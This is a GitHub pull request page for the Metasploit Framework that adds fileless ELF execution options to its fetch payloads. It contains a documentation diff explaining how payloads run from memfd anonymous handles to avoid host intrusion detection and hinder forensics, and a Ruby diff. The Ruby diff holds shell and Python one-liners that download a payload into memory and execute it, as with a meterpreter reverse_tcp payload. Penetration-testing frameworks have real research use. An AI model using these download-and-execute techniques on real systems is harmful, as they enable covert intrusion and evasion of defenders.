Skip to content

Syscall execution method for fileless ELF execution #19990

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 22 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
22 commits
Select commit Hold shift + click to select a range
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 11 additions & 1 deletion docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md
Original file line number Diff line number Diff line change
Expand Up @@ -81,7 +81,7 @@ served payload is the same.
### Dependent Options
`FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to
memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are
two options: `bash` and `python3.8+`. Both of these require the target to be running Linux Kernel 3.17 or above.
two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above.
This option is only available when the platform is Linux.

`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
Expand All @@ -104,6 +104,16 @@ The remaining options will be the options available to you in the served payload
`linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different
payload, we would see different options.

### Fileless Execution

For Linux payloads, we support **fileless ELF execution** - this option is enabled with `FETCH_FILELESS`. Currently, this option can be the following values: `python3.8+`, `shell-search`, and `shell`. The basic idea behind all of them is the same: execute the payload from an anonymous file handle, which should never touch a disk, thereby adding a layer of stealth.

The `shell-search` option searches for available anonymous file handles available on the system, copies the payload into the one it finds, and executes the payload from that handle. This method uses `POSIX` commands only so that it can be run in any shell.

The `shell` option uses a slightly different approach: it runs the assembly stub from a shell, creates an anonymous file handle inside of the shell process, copies the payload into a new handle, and then runs it. Finally, it will kill the original shell process, leaving the payload running as *orphan* process. This method uses a syscall `memfd_create` to create an anonymous file handle.
This option can be used in any Linux shell.

The `python3.8+` option uses the same technique as the `shell` option. However, it all happens in Python code. It will call the `os.memfd_create` function, which will create an anonymous file handle from the Python process. Then, it uses `os.system` to copy the payload into a new file handle and execute it. This option requires Python version 3.8 or higher on the target machine.
### Generating the Fetch Payload
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
Expand Down
36 changes: 4 additions & 32 deletions lib/msf/core/payload/adapter/fetch.rb
Original file line number Diff line number Diff line change
@@ -1,4 +1,6 @@
module Msf::Payload::Adapter::Fetch
include Msf::Payload::Adapter::Fetch::Fileless

def initialize(*args)
super
register_options(
Expand Down Expand Up @@ -252,7 +254,8 @@ def _execute_win(get_file_cmd)
end

def _execute_nix(get_file_cmd)
return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS'] == 'bash'
return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell'
return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search'
return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'


Expand All @@ -278,37 +281,6 @@ def _generate_certutil_command
_execute_add(get_file_cmd)
end

# The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor
def _generate_fileless(get_file_cmd)
# get list of all $USER's processes
cmd = 'FOUND=0'
cmd << ";for i in $(ps -u $USER | awk '{print $1}')"
# already found anonymous file where we can write
cmd << '; do if [ $FOUND -eq 0 ]'

# look for every symbolic link with write rwx permissions
# if found one, try to download payload into the anonymous file
# and execute it
cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'
cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]'
cmd << "; then if $(#{get_file_cmd} >/dev/null)"
cmd << '; then $f'
cmd << '; FOUND=1'
cmd << '; break'
cmd << '; fi'
cmd << '; fi'
cmd << '; done'
cmd << '; fi'
cmd << '; done'

cmd
end

# same idea as _generate_fileless function, but force creating anonymous file handle
def _generate_fileless_python(get_file_cmd)
%Q<python3 -c 'import os;fd=os.memfd_create("",os.MFD_CLOEXEC);os.system(f"f=\\"/proc/{os.getpid()}/fd/{fd}\\";#{get_file_cmd};$f&")'>
end

def _generate_curl_command
case fetch_protocol
when 'HTTP'
Expand Down
Loading
Loading